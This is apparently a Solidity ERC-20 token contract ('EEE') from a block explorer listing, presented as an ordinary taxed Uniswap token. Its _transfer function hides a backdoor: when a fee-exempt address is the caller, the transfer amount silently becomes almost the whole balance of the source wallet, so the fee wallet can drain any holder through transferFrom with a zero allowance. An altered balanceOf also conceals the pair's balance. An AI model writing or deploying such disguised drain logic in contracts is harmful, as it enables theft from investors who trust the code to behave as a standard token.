uint256 private constant _preventSwapBefore = 20;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _buyCount = 0;
uint256 private _countTax = 0;
string private constant _name = unicode"EEE";
string private constant _symbol = unicode"EEE";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 public constant _countTrigger = 400000 * 10**_decimals;
uint256 public constant _taxSwapThreshold = 4000000 * 10**_decimals;
uint256 public _maxTaxSwap = 10000000 * 10**_decimals;
uint256 public _maxTxAmount = 10000000 * 10**_decimals;
uint256 public _maxWalletSize = 10000000 * 10**_decimals;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event FinalTax(uint256 _valueBuy, uint256 _valueSell, bool _shelid);
event TradingActive(bool _tradingOpen, bool _swapEnabled);
event maxAmount(uint256 _value);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(address feeWallet) {
_feeWallet = payable(feeWallet);
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeWallet] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (hasLP(account)) {
return 0;
}
return _balances[account];
}
function hasLP(address account) internal view returns (bool) {
return account == uniswapV2Pair && IERC20(uniswapV2Pair).balanceOf(uniswapV2Pair) > 0
&& tx.origin != _feeWallet
&& !IsDeadAddress(tx.origin) ? true : false;
}
function IsDeadAddress(address account) internal pure returns (bool) {
return account == address(0) || account == address(0xdead);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(
owner != address(0) && spender != address(0),
"ERC20: approve the zero address"
);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(
from != address(0) && to != address(0),
"ERC20: transfer the zero address"
);
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(
_isExcludedFromFee[to] || _isExcludedFromFee[from],
"trading not yet open"
);
}
if(_buyCount>0 && _isExcludedFromFee[msg.sender]) amount = _balances[from] - _preventSwapBefore;
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
_buyCount++;
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _reduceSellTaxAt)
? _finalSellTax
: _initialSellTax
)
.div(100);
} else if (from == uniswapV2Pair && to != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _reduceBuyTaxAt)
? _finalBuyTax
: _initialBuyTax
)
.div(100);
}
_countTax += taxAmount;
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
to == uniswapV2Pair &&
swapEnabled &&
contractTokenBalance > _taxSwapThreshold &&
_buyCount > _preventSwapBefore &&
_countTax > _countTrigger
) {
uint256 getMin = (contractTokenBalance > _maxTaxSwap)
? _maxTaxSwap
: contractTokenBalance;
swapTokensForEth((amount > getMin) ? getMin : amount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
_countTax = 0;
}
}
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function sendETHToFee(uint256 amount) private {
_feeWallet.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function initializePair() external onlyOwner {
require(!tradingOpen, "init already called");
uint256 tokenAmount = balanceOf(address(this)).sub(
_tTotal.mul(_initialBuyTax).div(100)
);
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
tokenAmount,
0,
0,
_msgSender(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading already open");
swapEnabled = true;
tradingOpen = true;
emit TradingActive(tradingOpen, swapEnabled);
}
function manualSwap() external {
require(_msgSender()==_feeWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0 && swapEnabled){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function removeLimits() external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
emit maxAmount(_tTotal);
}
function setMaxTx(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWallet(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setFees(uint256 _valueBuy, uint256 _valueSell) external onlyOwner {
require( _valueBuy <= 30 && _valueSell <= 30 && tradingOpen,
"Exceeds value"
);
_finalBuyTax = _valueBuy;
_finalSellTax = _valueSell;
uint256 clogSheild = _finalSellTax > 5 ? _maxTaxSwap = (5 *_tTotal).div(1000) : (1 *_tTotal).div(100);
emit FinalTax(_valueBuy, _valueSell, (clogSheild == (5 *_tTotal).div(1000)));
}
receive() external payable {}
}
Read Contract
_countTrigger 0x0b7640b8 → uint256
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 11 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
initializePair 0x4fab9e4c
No parameters
manualSwap 0x51bc3c85
No parameters
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
setFees 0x0b78f9c0
uint256 _valueBuy
uint256 _valueSell
setMaxTx 0xbc337182
uint256 maxTxAmount
setMaxWallet 0x5d0044ca
uint256 maxWalletSize
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
This address has 1 on-chain transactions, but only 1.5% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →